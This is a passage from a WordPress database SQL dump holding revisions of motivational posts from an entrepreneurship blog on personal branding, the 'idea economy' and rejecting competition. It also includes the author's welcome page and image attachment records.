products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.\r\n<h2><span style="color: #808080;">Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?</span></h2>\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'How the idea economy will unlock your power to grow wealth.', 0, '', 'inherit', 'open', 'open', '', '632-revision-39', '', '', '2010-05-13 11:13:57', '2010-05-13 18:13:57', '', 632, 'http://www.whitehotcenter.com/2010/05/13/632-revision-39/', 0, 'revision', '', 0),
(817, 2, '2010-05-14 15:40:26', '2010-05-14 22:40:26', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, positioned in properly in the minds of your tribe, distinguishes you from others.  Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned  “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. You will own  the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned.  Your brand is the foundation on which your dreams and desires in life are built. Give this some thought. I‘ll leave you with this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-10', '', '', '2010-05-14 15:40:26', '2010-05-14 22:40:26', '', 14, 'http://www.whitehotcenter.com/2010/05/14/14-revision-10/', 0, 'revision', '', 0),
(819, 2, '2010-05-14 15:42:39', '2010-05-14 22:42:39', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, positioned in properly in the minds of your tribe, distinguishes you from others.  Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned  “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. You will own  the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned.  Your brand is the foundation on which your dreams and desires in life are built. Give this some thought. I‘ll leave you with this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-12', '', '', '2010-05-14 15:42:39', '2010-05-14 22:42:39', '', 14, 'http://www.whitehotcenter.com/2010/05/14/14-revision-12/', 0, 'revision', '', 0),
(821, 2, '2010-05-14 15:46:59', '2010-05-14 22:46:59', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, when properly positioned in the minds of your tribe, distinguishes you from others. Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned  “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. You will own  the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned.  Your brand is the foundation on which your dreams and desires in life are built. Give this some thought. I‘ll leave you with this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-14', '', '', '2010-05-14 15:46:59', '2010-05-14 22:46:59', '', 14, 'http://www.whitehotcenter.com/2010/05/14/14-revision-14/', 0, 'revision', '', 0);
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(820, 2, '2010-05-14 15:46:18', '2010-05-14 22:46:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, when properly positioned in the minds of your tribe, distinguishes you from others.  Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned  “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. You will own  the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned.  Your brand is the foundation on which your dreams and desires in life are built. Give this some thought. I‘ll leave you with this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-13', '', '', '2010-05-14 15:46:18', '2010-05-14 22:46:18', '', 14, 'http://www.whitehotcenter.com/2010/05/14/14-revision-13/', 0, 'revision', '', 0),
(822, 2, '2010-05-14 15:48:46', '2010-05-14 22:48:46', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, when properly positioned in the minds of your tribe, distinguishes you from others. Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds –it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned  “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. You will own  the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned.  Your brand is the foundation on which your dreams and desires in life are built. Give this some thought. I‘ll leave you with this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-15', '', '', '2010-05-14 15:48:46', '2010-05-14 22:48:46', '', 14, 'http://www.whitehotcenter.com/2010/05/14/14-revision-15/', 0, 'revision', '', 0),
(823, 2, '2010-05-02 17:45:58', '2010-05-03 00:45:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I<span style="color: #ff6600;">’m very pleased that you have found your way to the WhiteHotCenter. My purpose here is to inspire you into a frame of mind that will support you in taking your business and your life to the next level.</span></span><span style="color: #ff6600;"> Whatever metrics you use to define your success, you might relate to this simple idea from Bob Dylan: </span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</span><strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that support entrepreneurs, small business leaders and solo professionals to create a life of significance and contribution doing what they love powered by the venue of their business. Here are some success benchmarks many entrepreneurs I have worked with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">competition-proof your business with customers who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talent and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery over the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle mastery and personal effectiveness to create more free time and money to imagine ways to expand your contribution to the world, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery  of effective marketing and business development strategies to grow your  business doing what you love with clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique contributions to the world.</span></h2>\r\n<strong>A</strong><strong>bout Me</strong>\r\nFor over 25 years, I''ve consulted executive management, business leaders and their teams in large organizations discover their unique voice, define their organizational identity, and create more compelling value propositions to their customers.   I want to use my knowledge and insight to help entrepreneurs in personal and professional growth, lifestyle design, value creation and demand generation. I want to inspire and guide them to gain more clarity and confidence to pursue their best opportunities.  You can learn about my professional background and expertise in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><span style="color: #ff6600;">It''s my intention to have the WhiteHotCenter be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibility become achievement.  Inspired thought and disciplined action in equal measure make this happen. Success is a life-long process of never ending growth and expansion. If you find the information here to be useful, perhaps you''ll subscribe to receive the posts directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies that are immediately useful to your business growth. Of course, your comments will only elevate and enrich the conversation for all of  us. I look forward to you sharing your thoughts in the  comments section. I wish you inspired success in your creative business and in every area of your life. Thank you for visiting!\r\n\r\ninspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-05-02 17:45:58', '2010-05-03 00:45:58', '', 172, 'http://www.whitehotcenter.com/2010/05/02/172-revision-68/', 0, 'revision', '', 0),
(824, 2, '2010-05-25 11:56:07', '2010-05-25 18:56:07', '<h2><img class="alignnone size-full wp-image-841" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition4.gif" alt="" width="414" height="408" /></h2>\r\n<h2>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>. Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'publish', 'open', 'open', '', 'if-you-want-to-create-success-forget-about-competition', '', '', '2010-12-27 16:09:23', '2010-12-27 23:09:23', '', 0, 'http://www.whitehotcenter.com/?p=824', 0, 'post', '', 1),
(825, 2, '2010-05-25 11:29:52', '2010-05-25 18:29:52', '', 'competition', 0, '', 'inherit', 'open', 'open', '', 'competition', '', '', '2010-05-25 11:29:52', '2010-05-25 18:29:52', '', 824, 'http://www.whitehotcenter.com/wp-content/uploads/2010/05/competition.gif', 0, 'attachment', 'image/gif', 0),
(826, 2, '2010-05-25 11:33:09', '2010-05-25 18:33:09', '', 'competition', 0, '', 'inherit', 'open', 'open', '', 'competition-2', '', '', '2010-05-25 11:33:09', '2010-05-25 18:33:09', '', 824, 'http://www.whitehotcenter.com/wp-content/uploads/2010/05/competition1.gif', 0, 'attachment', 'image/gif', 0),
(827, 2, '2010-05-25 11:36:02', '2010-05-25 18:36:02', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif"><img class="alignnone size-full wp-image-826" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif" alt="" width="497" height="489" /></a>\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy.  In business and in life, if you’re not competitive, you’ll lose. This is a corrosive belief. If you want to create success, forget about competition.</h2>\nGet rid of the idea of competition. Competition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\n\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to 